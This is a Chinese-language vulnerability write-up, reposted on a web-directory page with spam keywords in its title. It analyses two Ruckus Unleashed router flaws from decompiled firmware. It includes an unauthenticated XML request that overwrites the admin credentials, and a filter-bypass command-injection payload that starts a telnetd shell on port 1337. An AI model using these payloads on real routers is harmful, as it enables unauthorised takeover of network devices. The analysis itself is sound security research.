日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

Ruckus公司面向全球移動(dòng)運(yùn)營(yíng)商、寬帶服務(wù)提供商和企業(yè)用戶,銷售、制造各種室內(nèi)和室外型“智能Wi-Fi”產(chǎn)品。本文是針對(duì)于今年Ruckus品牌路由器的兩個(gè)漏洞進(jìn)行分析復(fù)現(xiàn)。

 

CVE-2020-13915 認(rèn)證覆蓋漏洞

概述

 

ruckus unleased 設(shè)備在今年的5月份修復(fù)了一個(gè)認(rèn)證覆蓋漏洞,利用該漏洞可以通過(guò)未授權(quán)的方式將設(shè)備 Admin 用戶的登錄憑證進(jìn)行覆蓋,從而達(dá)到接管 Admin 用戶的效果。漏洞公告見(jiàn)參考鏈接一。

 

固件下載

https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610

 

漏洞分析

使用 binwalk 將固件進(jìn)行解壓,漏洞發(fā)生在 /web/admin/_wla_conf.jsp腳本文件中,查看腳本文件的內(nèi)容,其中WithoutLoginAccessCheck作為回調(diào)函數(shù)進(jìn)行執(zhí)行,函數(shù)的參數(shù)為session["cid"]'true'


 
  1. <%

  2. Delegate("WithoutLoginAccessCheck", session["cid"],'true');

  3. Delegate("AjaxConf", session["cid"]);

  4. %>

該函數(shù)觸發(fā)的地方在 /bin/emfd可執(zhí)行文件中,在 ghidra 中搜索函數(shù),找到WithoutLoginAccessCheck函數(shù),函數(shù)部分代碼如下:


 
  1. ...

  2. if(!strcasecmp(ajax_action,"setconf"))

  3. {

  4. admin_child = xGetChild(v36,"admin");

  5. if( admin_child !=0)

  6. {

  7. v37 = sub_60890(admin_child);

  8. }

  9. ...

首先判斷前端 http 數(shù)據(jù)包中傳入的 post data 中的 action 屬性的值是否為 setconf,再使用 xGetChild函數(shù)獲取 admin 子標(biāo)簽,接著調(diào)用sub_60890函數(shù)。

因此根據(jù)設(shè)備的數(shù)據(jù)包格式,這里需要構(gòu)造的 post data 為:


 
  1. <ajax-requestaction="setconf">

  2. <admin/>

  3. <ajax-request/>

跟進(jìn)sub_60890函數(shù),這里主要判斷 admin 子標(biāo)簽的屬性數(shù)量是否為 8,且這 8 個(gè)屬性名是否為 v41 變量到 v49 的值。


 
  1. ...

  2. v41 = admin_element;

  3. v42 ="username";

  4. v43 ="fallback-local";

  5. v44 ="authsvr-id";

  6. v45 ="auth-by";

  7. v46 ="x-password";

  8. v47 ="IS_PARTIAL";

  9. v48 ="reset";

  10. v49 ="auth-token";

  11. attrnum = xGetAttrNum(a1);

  12. ...

  13. if(attrnum !=8){

  14. return-1;

  15. }

  16. v2 = xAttrExists(v41, v42);

  17. if(!v2){

  18. return-1;

  19. }

  20. ...

  • 此時(shí)的 post data:

  1. <ajax-requestaction="setconf">

  2. <adminusername='admin'x-password='xxxxxx'auth-token=''reset=trueIS_PARTIAL=''auth-by='local'authsvr-id='0'fallback-local='true'/>

  3. <ajax-request/>

接著回到/admin/_wla_conf.jsp腳本文件中,第三行中同樣以回調(diào)的方式執(zhí)行了AjaxConf函數(shù),該函數(shù)位于/usr/lib/libemf.so動(dòng)態(tài)鏈接庫(kù)程序中。

同樣在 ghidra 中找到函數(shù)的位置,部分代碼如下:


 
  1. int adapter_setConf(char*attr_comp,undefined4 xmlstr){

  2. ...

  3. iVar3 = adapter_validateConf(xmlstr);

  4. if(iVar3 ==0x0){

  5. iVar4 = strcmp(attr_comp,"system");

  6. if(iVar4 ==0x0){

  7. ...

  8. }

  9. }

  10. uVar6 = repoGetCurrent(attr_comp);

  11. ...

  12. }

這里重新判斷了 post data 中 ajax-request標(biāo)簽中 comp 屬性的值,如果這里不為 system 的話,不會(huì)進(jìn)入 if 判斷,轉(zhuǎn)而去執(zhí)行repoGetCurrent函數(shù)中,參數(shù)為 comp 屬性的值。跟進(jìn)函數(shù):


 
  1. undefined4 repoGetCurrent(undefined4 uParm1)


  2. {

  3. undefined4 uVar1;


  4. uVar1 = repoGetCurChild(uParm1,0x0,0x1);

  5. return uVar1;

  6. }

繼續(xù)跟進(jìn) repoGetCurChild函數(shù),第一個(gè)參數(shù)還是 comp 屬性的值,使用psprintf函數(shù)格式化到 p_Var1 變量表示的棧上的內(nèi)存空間之后,繼續(xù)執(zhí)行_repoGetCache函數(shù)。


 
  1. int repoGetCurChild(char*pcParm1,char*pcParm2,bool bParm3){

  2. ...

  3. pcVar2 =(char*)psprintf(p_Var1,"%s/airespider/%s.xml",PTR_DAT_000a39cc,pcParm1);

  4. local_c = _repoGetCache("Current",p_Var1,pcParm1,pcVar2,pcParm2,bParm3,false);

  5. ...

  6. }

繼續(xù)跟進(jìn)函數(shù),函數(shù)中又調(diào)用了 FUN_00054aec函數(shù),其中調(diào)用了_shash_insert函數(shù),將 post data 中整個(gè) admin 標(biāo)簽插入到psprintf函數(shù)格式化的字符串表示文件中。

Ruckus 路由器多個(gè)漏洞分析

因?yàn)樵?adapter_setConf 函數(shù)的 if 分支中,需要進(jìn)行登錄認(rèn)證,而在 if 分支之外調(diào)用repoGetCurrent函數(shù)不需要進(jìn)行認(rèn)證,當(dāng) comp 屬性的值為/system時(shí),就可以繞過(guò) strcmp 函數(shù)的判斷,不會(huì)進(jìn)入到 if 分支。同時(shí)拼接的字符串文件名為:/etc/airespider-default//system.xml。而 system.xml 存放的正是 admin 用戶的登錄憑證:

Ruckus 路由器多個(gè)漏洞分析

此時(shí)就可以達(dá)到未認(rèn)證效果對(duì) admin 用戶的登錄憑證進(jìn)行覆蓋,從而達(dá)到未授權(quán)訪問(wèn)的效果。

 

漏洞修復(fù)

新版本的 ruckus unleased 中,直接將 /admin/_wla_conf.jsp腳本文件進(jìn)行了刪除。

Ruckus 路由器多個(gè)漏洞分析

 

CVE-2020-13919 后臺(tái)命令注入漏洞

概述

 

關(guān)于 ruckus unleased 后臺(tái)命令注入漏洞復(fù)現(xiàn)。該漏洞是由一個(gè)歷史的命令注入漏洞過(guò)濾不嚴(yán)格造成的新漏洞。關(guān)于該歷史漏洞的詳情可以查看參考鏈接一。

 

固件下載


 
  1. https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610

 

漏洞分析

將固件進(jìn)行解壓之后,進(jìn)入 /web 目錄,漏洞發(fā)生在 /web/admin/_cmdstat.jsp腳本文件中,因?yàn)樵撀┒词钦J(rèn)證后的漏洞,所以腳本代碼中 if 判斷的 check 會(huì)通過(guò),進(jìn)而會(huì)去執(zhí)行AjaxCmdStat回調(diào)函數(shù)。


 
  1. <%

  2. Delegate("SessionCheck", session["cid"],'true');

  3. var httpReq = request["headers"];

  4. Delegate("CsrfTokenCheck", session["cid"], httpReq.HTTP_X_CSRF_TOKEN);

  5. if(session["csrfAccepted"]=='true'){

  6. Delegate("AjaxCmdStat", session["cid"]);

  7. }

  8. %>

同樣在 /bin/emfd可執(zhí)行文件中找到AjaxCmdStat函數(shù)的位置,該函數(shù)直接調(diào)用了AjaxCmdStat_impl函數(shù):


 
  1. voidAjaxCmdStat(undefined4 uParm1,undefined4 uParm2)


  2. {

  3. AjaxCmdStat_impl(uParm1,uParm2,0x0,0x0,0x0);

  4. return;

  5. }

跟進(jìn)函數(shù),在AjaxCmdStat_impl函數(shù)的末尾,會(huì)接著調(diào)用adapter_doCommand函數(shù),adapter_doCommand函數(shù)繼續(xù)調(diào)用doCommand函數(shù),該函數(shù)主要用來(lái)處理 post data 的 xcmd 子標(biāo)簽,判斷 xcmd 子標(biāo)簽中 cmd 屬性的值:


 
  1. int __fastcall doCommand(int a1){

  2. ...

  3. v1 = xGetAttrString(a1,"cmd",0);

  4. s1 = v1;

  5. if(!strcmp(s1,"get-features"))

  6. return sub_BC9DC(0);

  7. v17 = strcmp(s1,"get-feature-maxap");

  8. if(!v17 )

  9. return sub_BC904(v17, v18, v19);

  10. v17 = strcmp(s1,"get-feature-value");

  11. if(!v17 )

  12. return sub_BC904(v17, v18, v19);

  13. if(!strcmp(s1,"get-urlfiltering-maxap"))

  14. return sub_BBE94(0, v20, v21);

  15. if(!strcmp(s1,"get-maxclient"))

  16. return sub_BB64C(0, v22, v23);


  17. ...

  18. if(!strcmp(s1,"import-avpport"))

  19. return sub_C1E08(v211);


  20. ...


  21. }

如果這里的 cmd 屬性為 import-avpport時(shí)會(huì)調(diào)用sub_C1E08函數(shù),跟進(jìn):


 
  1. int __fastcall sub_C1E08(int xcmd){


  2. ...

  3. v1 = xGetAttrString(xcmd,"uploadFile",&unk_23380C);

  4. filename = v1;

  5. v10 = is_validate_input_string(filename);

  6. if(!v10){

  7. return-1;

  8. }

  9. ...

  10. memset(&s,0,0x100u);

  11. snprintf(&s,0x100u,"cp %s /etc/airespider/", filename);

  12. system(&s);

  13. ...


  14. }

此處 xcmd 變量為 xcmd 的標(biāo)簽,從標(biāo)簽中獲取到 uploadFile屬性的值之后,會(huì)經(jīng)過(guò)is_validate_input_string函數(shù)對(duì)關(guān)鍵字符進(jìn)行過(guò)濾,然后作為參數(shù)傳入snprintf函數(shù),之后繼續(xù)執(zhí)行 system 函數(shù)。這里is_validate_input_string函數(shù)位于usr/lib/libemf.so動(dòng)態(tài)鏈接庫(kù)程序中,其代碼如下:


 

  1. undefined4 is_validate_input_string(char*pcParm1)


  2. {

  3. size_tsVar1;

  4. char*pcVar2;

  5. int local_c;


  6. if(pcParm1 != ){

  7. sVar1 = strlen(pcParm1);

  8. local_c =0x0;

  9. while(local_c <(int)sVar1){

  10. pcVar2 = strchr("$;&|<>'"`\ ",(uint)(byte)pcParm1[local_c]);

  11. if(pcVar2 != ){

  12. return0xffffffff;

  13. }

  14. local_c = local_c +0x1;

  15. }

  16. }

  17. return0x0;

  18. }

可以看到這里過(guò)濾的字符串為:


 
  1. $;&|<>'"`\

但是這里依然可以進(jìn)行繞過(guò),繞過(guò)的方法為:將分隔符設(shè)置成 #!/bin/shn,空格替換成 t 即可,因此 payload 如下:


 
  1. #!/bin/shntelnetdt-l/bin/sht-p1337

繞過(guò)之后在 system 函數(shù)處即為一個(gè)典型的命令注入漏洞。

 

漏洞修復(fù)

更新后的固件代碼中對(duì)關(guān)鍵的字符,如t、n等進(jìn)行了更嚴(yán)格的過(guò)濾。

 

參考鏈接

  1. https://support.ruckuswireless.com/security_bulletins/304

  2. https://www.youtube.com/watch?v=Yt3mJlnODHU

  3. https://alephsecurity.com/2020/01/14/ruckus-wireless/

  4. https://www.youtube.com/watch?v=Yt3mJlnODHU

分享到:
標(biāo)簽:路由器 漏洞
用戶無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定